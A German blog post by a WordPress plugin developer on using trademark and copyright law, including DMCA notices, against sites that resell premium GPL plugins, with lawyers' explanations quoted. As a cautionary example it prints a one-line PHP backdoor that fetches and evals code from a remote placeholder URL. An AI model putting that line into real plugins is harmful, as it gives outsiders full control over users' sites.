Der ultimative Leitfaden zum rechtlichen Schutz Ihres GPL-WordPress-Plugin-Geschäfts vor Trollen

Softwarelizenzierung kann ein sehr verwirrendes Thema sein, insbesondere in der Open-Source-Welt. Die Grenzen der Legalität und Ethik sind nicht immer klar. Da sich Geschäftsinhaber jedoch auf den Verkauf von WordPress GPL-Plugins konzentriert haben, ist es unsere Pflicht, diese Themen gründlich zu verstehen.

Dieser Beitrag befasst sich nicht mit Ethik und konzentriert sich auf die rechtlichen Überlegungen. Es wird Ihnen eine Schritt-für-Schritt-Formel zur Verfügung stellen, einschließlich Feedback von erfahrenen Anwälten in diesem Bereich, um Ihr WordPress-Geschäft vor Plugin-Trollen zu schützen.

Als Plugin-Entwickler habe ich in den letzten fünf Jahren unzählige Artikel gelesen, in denen es um die GPL, ihre Freiheiten und die Herausforderungen geht, die mit der Führung eines GPL-konformen Unternehmens verbunden sind. Aber in den letzten Monaten hat dieses Thema für mich noch mehr an Bedeutung gewonnen.

Im August folgte mir ein Twitter-Account namens WordPress Plugins (https://twitter.com/plugswp). Aus Gewohnheit habe ich ihr Profil überprüft, um mehr über diesen Benutzer zu erfahren. Ich entdeckte bald, dass der Handler mit „wppluginscheap.com“ in Verbindung gebracht wurde, einem „Troll“ für Plugins und Themen, der sich selbst als „Quelle Nummer 1 für günstige Premium-WordPress-Plugins und -Themen“ anpreist. Beim Durchsuchen der Website fand ich viele beliebte Premium-Plugins wie Yoast SEO, Backup Buddy, WP Robot und 50 Premium-Designs. Jedes Produkt wird für weniger als 10 $ verkauft.

Naiv wie ich war, bin ich auf WPChat gesprungen und habe einen neuen Thread gestartet:

Wir haben alle unter der Drohung programmiert, dass ein Troll auftaucht und unsere GPL-Plugins / -Themen zu lächerlichen Preisen weiterverkauft. Nun… es ist da. Wie wäre es, Yoast Premium SEO für 4,00 $ zu kaufen… Ich bin ein wenig sauer und andererseits amüsiert, da ich wusste, dass es eines Tages auftauchen wird.

Ich habe der Community zwei Fragen gestellt:
1. Wie können wir es entfernen lassen?
2. Fühlen Sie sich bedroht?

Parallel dazu ging ich zur Advanced WordPress Facebook-Gruppe und lud den folgenden Status hoch:

Joost de Valk und Thomas Hofter, es sei denn, Sie haben angefangen, Ihre Plugins für unter 10 $ zu verkaufen, ich denke, diese Jungs verletzen Ihre Marken (und Dutzende anderer Plugin-Entwickler). Wie bekommen wir es runter?

Wenn Sie Mitglied der AWP-Gruppe sind, können Sie den gesamten Thread hier überprüfen.

Beide Threads sorgten für viel Interesse und Diskussionen. Ich habe 17 Antworten in WPChat und 84 Kommentare in der AWP-Facebook-Gruppe erhalten. Als sich die Antworten zu häufen begannen, wurden mir zwei Dinge klar:
1. WordPress-Plugins / Theme-Trolle sind eine Epidemie – es passiert überall!

Dies geschieht schon seit LANGER Zeit, allerdings hauptsächlich mit Themen und WooCommerce-Addons. Siehe gplclub.org und sozot.com. WPAvengers.com hat etwas Ähnliches getan, bevor sie heruntergefahren wurden.

– Leland Fiegel, Gründer von WPChat

2. Obwohl es Hunderte von Blogbeiträgen zu allen Aspekten der GPL-Lizenz gibt, herrscht immer noch viel Verwirrung im Ökosystem. Auch unter Influencern. Es scheint, als ob viele Leute denken, dass es technisch in Ordnung (wenn auch unethisch) ist, dies zu tun, da Plugins und Themes unter der GPL lizenziert sind.

Diese Opportunisten tauchen hin und wieder auf und scheinen nie etwas zu bedeuten. Es ist legal (jedenfalls der GPL-Teil), aber unethisch. Es ist faul. Und es ist schlecht für die Kunden, weil die Waren in fragwürdigem Zustand, veraltet, nicht unterstützt und verdächtig sind.

– Steven Gliebe, Theme-Entwickler und Gründer von Pro Plugin Directory

Es ist unethisch, aber wenn ich als Theme-/Plugin-Shop-Besitzer, der unter GPL veröffentlicht, würde ich sagen, dass ich noch unethischer bin, wenn ich das sagen darf, als diese Typen, und ein totaler Heuchler.

– Ionut Neagu, Gründer von CodeinWP

Weitere auf Facebook eingegangene Kommentare waren:

• Wenn die Plugins unter der GPL lizenziert wurden, dann fürchte ich, dass sie nichts tun können
• Ich glaube nicht, dass die Premium-Versionen unter der GPL stehen
• Es ist legal, unter der GPL

Und davon gibt es noch viel mehr!

Also, bevor wir anfangen, lassen Sie mich etwas klarstellen –

Das ist völlig falsch!

Entwickler haben auch dann noch durchsetzbare Rechte, wenn ihre Plugins unter einer Open-Source-Lizenz vertrieben werden.
Diese „Plugin-Trolle“ können dennoch für Markenverletzungen und/oder Urheberrechtsverletzungen haftbar gemacht werden.

Ich möchte hinzufügen, dass ich viele Meinungen gelesen habe, die besagen, dass diese Trolle dem Geschäft keinen Schaden zufügen. Wenn das der Fall wäre, würde ich nicht so viel Zeit damit verbringen, diesen Beitrag zusammenzustellen. Ich möchte die Gelegenheit nutzen, um die Gründe zu erläutern, warum Trolle schlecht für die WordPress-Community sind – für Ihr Unternehmen und auch für WordPress-Benutzer.

Warum sind Plugin-Trolle schlecht für Ihr Plugin-Geschäft?

Verlorene Einnahmen

Ob es Ihnen gefällt oder nicht, ein Teil der Benutzer wird Ihr Premium-Plugin von diesen Websites kaufen oder erhalten. Vor allem WordPress-Neulinge. Wenn ich neu im WordPress-Ökosystem bin und nach einem SEO-Plugin suche, klingt Yoast SEO für 4 US-Dollar viel ansprechender als der volle Preis. Ich würde es einfach kaufen. Genauso wie ich immer nach dem besten Rabatt suche, wenn ich ein Smartphone oder andere Produkte kaufe. Ich benötige die „Originalgarantie“ nicht, da ich sie nie mit einem der von mir gekauften Produkte verwendet habe, daher ist Support nicht etwas, an das die Benutzer von Anfang an denken.

Missbrauch unterstützen

Wenn es Probleme mit dem beim Troll gekauften Plugin gibt – ratet mal, wer dafür verantwortlich ist? Natürlich der echte Entwickler/das Unternehmen. Wenn das mit Ihrer Marke verbundene Kunstwerk repliziert wird, werden Kunden Sie kontaktieren. Genau wie beim Kauf eines HTC-Smartphones bei Amazon rufe ich bei Problemen mit dem Gerät den technischen Support von HTC an, nicht Amazon. Was würden Sie dem Benutzer sagen? „Ja, es ist unser Telefon, aber Sie müssen sich für technischen Support an Amazon wenden.“ Diese Antwort wäre für einen Benutzer schwer zu verdauen. Es sieht so aus, als würden Sie nicht hinter Ihren Produkten stehen.

Wenn es Probleme mit dem beim Troll gekauften Plugin gibt – ratet mal, wer daran schuld ist? Tweet

Markenschaden

Es steht außer Frage, dass einige Trolle Schadcode in die Plugins einschleusen. Der Hauptanreiz dafür besteht darin, Einnahmen zu generieren und gleichzeitig die Premium-Plugins kostenlos zu verteilen. Ich habe das selbst miterlebt. Vor zwei Jahren wurde ich von einem leitenden SEO-Mitarbeiter einer BIG-Agentur mit Sitz in Großbritannien (über 100 Mitarbeiter) angesprochen. . Er bot an, mit mir zusammenzuarbeiten, indem er unserem Plugin eine einfache Codezeile hinzufügte:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

Die Idee war, dass der API-Endpunkt versteckte URLs zurückgibt, um die Backlinks ihrer Portfoliounternehmen zu pushen. Eines der Beispiele, die er schickte, war:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Trolle können schädlichen Code in Plugins einschleusen, während sie Ihr ursprüngliches Branding verwenden, ein direkter Schaden für Ihre Marke!Tweet

Dies war vor Google Penguin und war ein großartiger SEO-Hack. Und das Angebot war auch fantastisch – 0,1 $ pro Domain und Monat. Wenn ich also 100.000 aktive Domains mit meinem Plugin hätte, könnte ich 10.000 $ / Monat generieren. Einnahmen, ohne eine zusätzliche Minute auszugeben. Genial oder? Offensichtlich haben wir es aus verschiedenen Gründen nicht getan, hauptsächlich weil dieser Code EXTREM bösartig war. Es öffnet eine entfernte Hintertür, um mit der Site alles zu tun, was Sie wollen. Selbst wenn die Agentur es nur für SEO verwenden sollte, was passiert, wenn ihr Server gehackt wird und jemand mit schlechten Absichten die Kontrolle übernimmt? Wer weiß, wie viele legitime WordPress.org-Plugins mit dieser Agentur zusammengearbeitet haben … Um auf die Trolle zurückzukommen, ihre Absichten sind rein finanzieller Natur. Sie bewerben Ihre Premium-Plugins nicht zum Spaß, sie wollen Geld verdienen. Und wenn sie illegale Dinge wie Urheberrechts- und Markenverletzungen tun, hindert sie nichts daran, alternative Einnahmequellen wie Code-Injektionen zu generieren. Oh, und ich habe vergessen zu erwähnen, dass Sie derjenige sind, der dafür verantwortlich ist, wenn so etwas passiert! Es ist Ihr Produkt und Ihre Marke.

Warum sind Plugin-Trolle schlecht für Benutzer?

Aus vielen Gründen, die ich erwähnt habe, aber aus der Sicht des Benutzers.

Keine Unterstützung

Bei einem technischen Problem kann Ihnen der Troll einfach nicht weiterhelfen. Es ist nicht ihr Produkt, sie haben keine Ahnung vom Code oder wie man damit zusammenhängende Probleme löst. Darüber hinaus haben sie nicht die Unterstützungsressourcen, um dies zu tun. Und wenn Sie versuchen, das ursprüngliche Unternehmen zu kontaktieren, haben Premium-Plugin-Entwickler die Infrastruktur, um ihre Kunden im Auge zu behalten. Das Unternehmen hilft Ihnen oft erst, wenn Sie eine Originallizenz erwerben.

Illegale Redistributoren von Plugins können und werden Ihnen bei technischen Problemen nicht helfen.Tweet

Keine automatischen Updates

Die meisten Premium-Plugins auf dem heutigen Markt verfügen über einen Lizenzierungs- und Aktualisierungsmechanismus (Trolle „hacken“ diesen Teil oft, bevor sie das Plugin weitergeben). Dieser automatische Update-Mechanismus funktioniert so, dass das Plugin alle 24 Stunden den Server des ursprünglichen Unternehmens überprüft, um festzustellen, ob es Updates für die Premium-Version gibt. Es authentifiziert sich auch mit einem Lizenzschlüssel. Da das Plugin des Trolls nie mit einem Lizenzschlüssel der ursprünglichen Firma ausgestellt wurde, wird dieser Update-Mechanismus NICHT funktionieren. Daher gibt es bei jeder Installation eines nicht originalen Premium-Plugins keine automatischen Updates. Das ist schlecht, da Hacker ständig neue kreative Schwachstellen finden und ein veraltetes Premium-Plugin dieses Sicherheitsleck sein könnte.

Raubkopierte WordPress-Plugins haben keinen automatischen Update-Mechanismus – ständige Sicherheitslücke! Twittern

Größere Sicherheitslücken

Erinnern Sie sich an die bösartige Codezeile, die ich oben erwähnt habe? Möchten Sie eine Hintertür zu Ihrer Website haben, die für Hacker offen ist? Diese Hintertür ermöglicht es einem Hacker buchstäblich, jedes Pixel und jeden Inhalt auf Ihrer Website zu modifizieren. Und das ist nur ein Beispiel, ich bin mir sicher, dass es da draußen noch viele andere kreative Injektionen gibt.

Was decken Open-Source-Lizenzen ab?

Da in der Entwickler-Community eindeutig viel Verwirrung über diese Probleme herrscht, habe ich mich an meinen Freund Ariel Reinitz und seinen Kollegen Matthew Hintz gewandt, die Anwälte für geistiges Eigentum (IP) (Patente, Marken und Urheberrechte) bei Lowenstein Sandler LLP sind. eine landesweite Firma mit Niederlassungen von New York bis Palo Alto.

Ariel erklärte mir, dass „Trolle“ von WP-Plugins zwar technisch berechtigt sein könnten, Code weiterzuverbreiten, der unter einer Open-Source-Lizenz (z. B. GPL) steht, es aber andere geistige Eigentumsrechte („IP“) gibt, die nicht unter Open Source fallen Lizenz, gegen die diese 'Trolle' möglicherweise noch verstoßen.

Hier ist, was Ariel über die GPL zu sagen hat:

Es ist wichtig zu verstehen, was die Open-Source-Lizenz (GPLv2), unter der die meisten WordPress-Plugins vertrieben werden, abdeckt (und nicht):

Eine Open-Source-Lizenz schreibt vor, wie Software/Quellcode zu verteilen ist. Im Allgemeinen gestatten solche Lizenzen jedem, die Software/den Code kostenlos zu verwenden, zu modifizieren usw. Somit kann der Quellcode eines Open-Source-Projekts von anderen Parteien weitergegeben werden, ohne die Bedingungen der GPL zu verletzen.

In einfachen Worten – die GPL-Freiheit erlaubt es jedem, den Quellcode zu nehmen und damit zu tun, was er will, einschließlich der Verteilung. Ich glaube, dass es in der Community diesbezüglich einen Konsens gibt.

Was decken Open-Source-Lizenzen nicht ab?

Open-Source-Lizenzen (einschließlich der GPLv2) erstrecken sich jedoch im Allgemeinen nicht auf Marken. Marken beziehen sich auf die Art und Weise, in der ein Produkt (z. B. ein Plugin, ein Design, eine App usw.) als Marke gekennzeichnet ist – z. B. der Name des Produkts (und/oder des Unternehmens, von dem es stammt), sein Slogan/Slogan und /oder sein Logo. Obwohl der Quellcode eines Projekts unter einer Open-Source-Lizenz frei weitergegeben werden kann, gewährt eine solche Lizenz anderen keinerlei Rechte in Bezug auf die mit dem Projekt verbundenen Marken (z. B. den Produktnamen, das Unternehmen, das es entwickelt hat, etc.).

Mit Worten, die keine Anwälte sind – die GPL erlaubt es nicht, Markenzeichen des Plugins wie den Produktnamen, den Firmennamen und das Logo zu verwenden. Ariel gibt uns ein Beispiel:

Wenn also beispielsweise ein Dritter ein WordPress-Plugin unter Verwendung des gesamten ursprünglichen Brandings des Projekts weitervertreibt (z. B. indem er es mit dem ursprünglichen Namen, Logo usw. des Unternehmens/Projekts bewirbt), würde dies wahrscheinlich die Marke des ursprünglichen Entwicklers verletzen Rechte. Wie bereits erwähnt, erlaubt die Open-Source-Lizenz niemandem, das Markenzeichen einer anderen Person in einem kommerziellen Kontext zu verwenden. Dies ist wichtig, da einer der Hauptgrundsätze des Markenrechts darin besteht, den Verbraucher vor Verwirrung darüber zu schützen, woher ein Produkt stammt.

Die Hauptprinzipien des Markenrechts dienen nicht nur dem Schutz des Unternehmens, sondern auch dem Schutz des Verbrauchers vor Verwirrung darüber, woher ein Produkt stammt. Das ist ein wichtiger Hinweis!

Es ist auch wichtig zu erkennen, dass viele Open-Source-Unternehmen ihre Markenrechte registrieren, schützen und überwachen. Beispiele sind: Linux , MySQL , Red Hat und WordPress .

Was Ariel hier sagt, ist, dass viele der größten Namen im Open-Source-Bereich ihre Markenrechte schützen und überwachen. Warum sollten wir das nicht auch tun?

Wenn Red Hat seine Markenrechte schützen und überwachen kann, warum können Plugin-Entwickler dann nicht? Twittern

Zusätzlich zu den Markenrechten wies Ariel darauf hin, dass Entwicklern auch Urheberrechtsschutz für von ihnen erstellte Materialien zusteht, die nicht Teil des Quellcodes sind:

Es ist auch wichtig zu erkennen, dass die GPL (und andere Open-Source-Lizenzen) nur den Quellcode des Plugins selbst abdecken. Wenn der Entwickler jedoch Materialien erstellt, die nicht Teil des Quellcodes sind (z. B. Grafiken, Werbematerialien, Verpackungen usw.), würden diese Materialien nicht unter die GPL fallen, und der Entwickler wäre nicht verpflichtet, dies einer anderen Partei zu gestatten Materialien neu zu verteilen.

Sehen Sie sich zum Beispiel an, wie das Plug-in „Yoast“ auf einigen der oben genannten „Troll“-Sites verwendet wird. Während diese Seiten technisch in der Lage sein mögen, den Quellcode von Yoast weiterzugeben (da er unter die GPL fällt), enthalten diese Seiten auch Elemente wie das Branding von Yoast (z. B. Name und Logo von Yoast, die Warenzeichen sind) sowie andere kreative Materialien, die von entwickelt wurden Yoast (z. B. die Grafik des Tee trinkenden Mannes, die nicht Teil des Quellcodes von Yoast ist und daher das Urheberrecht bei Yoast liegt und nicht der GPL unterliegt).

Also – während der Troll möglicherweise gesetzlich berechtigt ist, den Quellcode von Yoast weiterzuverbreiten, gibt ihm die GPL (oder eine andere Open-Source-Lizenz) nicht das Recht, (a) das Branding (Markenzeichen) von Yoast oder (b) andere Grafiken, Materialien usw. zu verwenden ., (Urheberrechte) . Da sie nicht Teil des Quellcodes des Plugins sind, fallen diese Elemente nicht unter die GPL und daher sind die geistigen Eigentumsrechte (IP) an diesen Elementen das alleinige Eigentum des Entwicklers .

Da die Plugin-„Trolle“ die Marken und urheberrechtlich geschützten Materialien des Entwicklers verwenden (wie in den „Yoast“-Beispielen oben), gibt es rechtliche Verfahren (wie wir weiter unten im Detail untersuchen werden), die Entwickler nutzen können, um diese Rechte durchzusetzen, um diese Rechte durchzusetzen stoppen, davon abbringen oder zumindest versuchen, die Auswirkungen zu begrenzen, die diese „Trolle“ auf Ihr Unternehmen haben können. Auch dies gilt, obwohl Ihr Plugin unter der GPL vertrieben wird.

Was ist durch Marken geschützt?

Matthew erklärt, was Marken abdecken:

Einfach ausgedrückt ist eine Marke eine eindeutige Kennung für Verbraucher, die die Quelle von Waren oder Dienstleistungen von anderen unterscheidet. Meistens ist eine Marke ein Wort, ein Logo oder eine Kombination dieser Elemente. In den Vereinigten Staaten beginnen Markenrechte mit der Verwendung im Handel (genannt „Common Law Rights“), nicht mit der Registrierung beim United States Patent & Trademark Office (USPTO). Die Registrierung Ihrer Marke beim USPTO bietet dem Eigentümer jedoch viele Vorteile, die nicht durch Common Law-Rechte verfügbar sind. Dazu gehören insbesondere der Nachweis des ausschließlichen Rechts des Registranten, eine Marke in den Vereinigten Staaten in Verbindung mit den in der Registrierung aufgeführten Waren oder Dienstleistungen zu verwenden, der konstruktive Hinweis, dass der Registrant der Eigentümer der Marke ist, die Auflistung der Registrierung im USPTO Online-Datenbank und die Fähigkeit, das Symbol zu verwenden. (Vor der Registrierung kann ein TM-Symbol mit einer Marke verwendet werden.)

Ist Code durch eine Marke geschützt?

Während meiner Recherche habe ich einige Beiträge gelesen, in denen erwähnt wird, dass beim Forken eines GPL-lizenzierten Plugins oder eines Designs der Code umgestaltet werden muss, um sicherzustellen, dass es keine Funktionen gibt, die die markenrechtlich geschützte Kennung als Teil des Funktionsnamens enthalten. Um das zu verdeutlichen, habe ich Matthew gefragt, ob Code auch durch die Marke geschützt ist, und hier ist die Antwort:

Code selbst ist nicht markenrechtlich geschützt. Marken schützen das Wort oder Logo, das ein Verbraucher mit Ihren Waren oder Dienstleistungen verbindet. Eine Grenze des Markenschutzes für ein Plugin wäre dann das Wort oder Logo, das verwendet wird, um das Plugin an Verbraucher zu vermarkten. Und dann ist der grundlegende Test für eine Markenverletzung, ob die Verbraucher wahrscheinlich durch die Ähnlichkeit der beiden Marken verwirrt würden. Die Ähnlichkeit wird bewertet, indem Dinge wie visuelle und phonetische Ähnlichkeit, die enge Verwandtschaft der Waren/Dienstleistungen für jede Marke, die Unterscheidungskraft der Marken und die Dauer der Verwendung der Marken betrachtet werden.

Um die Antwort in einer entwicklerfreundlichen Sprache zu verdeutlichen:

• Klassennamen, Funktionsnamen, Variablennamen und Konstantennamen sind NICHT markenrechtlich geschützt.
• Auf der Seite gedruckte und für den Endverbraucher sichtbare Zeichenfolgen sind dagegen markenrechtlich geschützt.

Wie reiche ich eine Markenregistrierung ein?

Um die Vorteile der föderalen Registrierung einer Marke zu erhalten, muss Ihre Marke beim USPTO registriert sein. Ein Antrag auf Eintragung muss grundlegende Informationen enthalten: Name des Anmelders/Eigentümers, der Marke, der Waren oder Dienstleistungen, für die die Marke verwendet wird, Nachweis der Verwendung der Marke mit diesen Waren oder Dienstleistungen und Datum der ersten Verwendung dieser Marke . Überlegungen zu Ihrer Bewerbung:

• Durchsuchen Sie die TESS-Datenbank des USPTO (http://www.uspto.gov/trademark) nach gleichen oder ähnlichen Marken. Werden gleiche oder ähnliche Marken beantragt oder bereits eingetragen, können diese die Grundlage für eine Ablehnung Ihrer Anmeldung sein. Suchen Sie auch über Google oder andere Suchdienste, da eine Marke ohne Registrierung verwendet werden könnte und Sie trotz Ihrer Registrierung überlegene Rechte an dieser Marke haben könnten. Die Registrierung erschöpft nicht die Markenrechte eines früheren Benutzers.
• Um Ihre Waren oder Dienstleistungen zu beschreiben, suchen Sie im ID-Handbuch des USPTO nach einer akzeptablen Sprache: http://tess2.uspto.gov/netahtml/tidm.html . Sie können auch auf TESS nach akzeptabler Sprache suchen.
• Klassen sind allgemeine Angaben zu bestimmten Bereichen von Waren oder Dienstleistungen. Zum Beispiel gehören herunterladbare Plug-ins normalerweise zu Klasse 9, die alle Computerprogramme und Software abdeckt.
• Die Gebühren für eine Markenanmeldung richten sich nach der Anzahl der Klassen. Die allgemeine Gebühr beträgt 275 USD pro Klasse, es sind jedoch weniger und teurere Anmeldeoptionen verfügbar.

Nachdem eine Anmeldung eingereicht wurde, prüft das USPTO die Anmeldung, um festzustellen, ob die Marke eine eindeutige Kennung ist (dh nicht beschreibend oder verwirrend ähnlich zu früheren eingereichten Anmeldungen oder Registrierungen). Das USPTO stellt Fristen für Anträge bereit: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Denken Sie daran, dass der Markenschutz territorial ist. Beispielsweise bietet eine Registrierung in den Vereinigten Staaten Markenschutz in den Vereinigten Staaten.

Wie Matthew beschrieb, ist der Prozess nicht unbedingt komplex – aber er erfordert Zeit und Mühe. Ich würde empfehlen, einen Anwalt auf mittlerer Ebene zu bezahlen, der das für Sie erledigt. Es sollte Sie zwischen 200 und 2.000 US-Dollar für die Arbeit kosten, obwohl es Ihnen Zeit spart und eine bessere Anwendung gewährleistet. Bevor Sie beginnen, googlen Sie es auf jeden Fall! Wenn Sie ein Produkt oder ein Unternehmen (insbesondere in demselben oder einem ähnlichen Bereich) finden, das genau mit Ihrem Begriff / Ausdruck übereinstimmt, besteht eine gute Chance, dass Sie die Marke NICHT registrieren können (und Sie möglicherweise tatsächlich die eines anderen verletzen).

Was tun, wenn Ihre Marke verletzt wird?

Ich beginne mit dem, was Sie NICHT tun sollten – wenn es sich um eine Markenverletzung handelt, nicht um Urheberrechte, sollten Sie KEINEN DMCA-Takedown einreichen.

DMCA deckt NUR Urheberrechtsverletzungen ab. Für Marken gibt es keine ähnliche Bestimmung. Die Verwendung von DMCA-Deaktivierungsmitteilungen für Markenansprüche kann dazu führen, dass der Anspruchsteller für falsche Angaben haftbar gemacht wird.

Im Allgemeinen ist es am einfachsten zu versuchen, die Angelegenheit direkt mit dem Eigentümer der Website zu klären. Wenn dies nicht erfolgreich ist, können Sie rechtliche Schritte gegen den Eigentümer, Host usw. der Website einleiten. Der spezifische Ansatz, den Sie wählen, wird wahrscheinlich fallspezifisch sein, und an dieser Stelle würde ich vorschlagen, sich an einen Anwalt zu wenden, um die beste Option für Ihre spezifischen Umstände zu ermitteln .

Was ist urheberrechtlich geschützt?

Urheberrecht ist anders als Markenzeichen. Das Urheberrecht schützt Originalwerke der Urheberschaft, die in einem Ausdrucksmedium fixiert sind. Eine Grenze des Urheberrechtsschutzes besteht jedoch darin, dass er sich nur auf den Ausdruck erstreckt, nicht auf die Idee. Zu den urheberrechtlich geschützten Werkkategorien gehören unter anderem literarische Werke (Bücher, Code), Musikwerke, Fotografien und Bilder, Filme, Tonaufnahmen. Eine weitere Einschränkung besteht darin, dass das Urheberrecht kurze Phrasen oder Ausdrücke nicht schützt – das bleibt beim Markenschutz, solange diese als eindeutige Kennung für Verbraucher fungieren, die die Quelle von Waren oder Dienstleistungen von anderen unterscheidet.

Was tun, wenn Ihre Urheberrechte verletzt werden?

1. Zunächst ist es oft am einfachsten zu versuchen, den Eigentümer der Website direkt zu kontaktieren. In vielen Fällen ist der Eigentümer der Website genauso wenig daran interessiert wie Sie, Anwälte einzuschalten, sich an Gerichtsverfahren zu beteiligen usw. Versuchen Sie, das Twitter-Konto, die Kontakt-E-Mail-Adresse oder die Kontaktseite auf der Website zu finden, und senden Sie eine Nachricht, in der Sie die Entfernung von Twitter fordern Ihr markenrechtlich geschütztes Plugin von der Website.
2. Wenn dies nicht hilft, können Sie eine DMCA-Entfernungsmitteilung (Digital Millennium Copyright Act) senden. Es gibt eine Reihe von Generatoren, mit denen Sie einen erstellen können. Googlen Sie einfach nach „dmca takedown generator“. Sobald Sie die Benachrichtigung erhalten haben, müssen Sie sie an den Eigentümer der Website, das Hosting-Unternehmen und den ISP senden. Sie können optional auch eine Mitteilung an die Suchmaschinen senden, um die Website aus den Suchergebnissen zu entfernen. Um das Hosting-Unternehmen zu finden, können Sie Websites wie whoishostingthis.com verwenden. Um den ISP zu finden, können Sie Websites wie http://www.whoismyisp.org/ verwenden. Um den relevanten Link zum Einreichen des DMCA beim ISP/Hosting zu finden, googlen Sie nach ISP_NAME/HOSTING_NAME + DMCA.

Alternativ können Sie rechtliche Schritte gegen den Eigentümer, Host usw. der Website einleiten. Ich schlage vor, sich an einen Anwalt zu wenden, um zu erfahren, ob dies in Ihren speziellen Umständen die beste Option ist oder nicht.

Fazit

Ich hoffe, diese Schritt-für-Schritt-Anleitung hat Sie mit den richtigen Tools ausgestattet, um Ihr Geschäft mit GPL-Plug-ins vor Trollen zu schützen. Nur eine Zusammenfassung:

• Als Geschäftsinhaber sind Sie berechtigt und sollten die Marke und die Vermögenswerte Ihres Unternehmens schützen.
• Marken und Urheberrechte sind relativ kostengünstige und effektive Möglichkeiten, Ihr Plugin-Geschäft rechtlich zu schützen. Daher sollten Sie unbedingt erwägen, Marken für Ihren Firmen- und Produktnamen anzumelden.
• Viele Trolle verletzen sowohl Urheberrechte (z. B. indem sie Ihre Werbegrafiken entfernen) als auch Marken (durch Verwendung Ihres Markennamens). Indem Sie einen einzigartigen Markennamen, ein Logo und ein Kunstwerk erstellen, erstellen Sie ein Portfolio, das bei der Bekämpfung von Urheberrechtsverletzungen hilft.

Viele Trolle verletzen sowohl Urheberrechte als auch Marken. Indem Sie einen einzigartigen Markennamen, ein Logo und ein Kunstwerk erstellen, generieren Sie ein Portfolio, das Sie bei der Bekämpfung von Urheberrechtsverletzungen unterstützt.Tweet

Wenn eine Website eines Drittanbieters Ihr Premium-GPL-Plug-in oder -Thema ohne Ihre Zustimmung zum Verkauf oder zur Verschenkung auflistet:

• Wenn die Website Ihre Originalvorlage oder andere Materialien verwendet, liegt wahrscheinlich eine Urheberrechtsverletzung vor. Sie können eine DMCA-Takedown einreichen.
• Wenn die Website die Marke Ihres Unternehmens oder Produkts verwendet, handelt es sich wahrscheinlich um eine Markenverletzung. Sie können rechtliche Schritte gegen die Website einleiten.

Wenn Sie weitere Gedanken zu den rechtlichen und ethischen Implikationen der GPL haben, können Sie diese gerne in den Kommentaren unten teilen.

Tolle Referenzen:

• DMCA Takedown Notice herausgegeben gegen Fork von WP Migrate DB Pro
• Die GPL-Lizenz bietet nicht die Freiheit, eingetragene Warenzeichen zu verletzen
• Wird die WordPress GPL missbraucht?
• Warum zahlen wir für GPL-lizenzierten Code?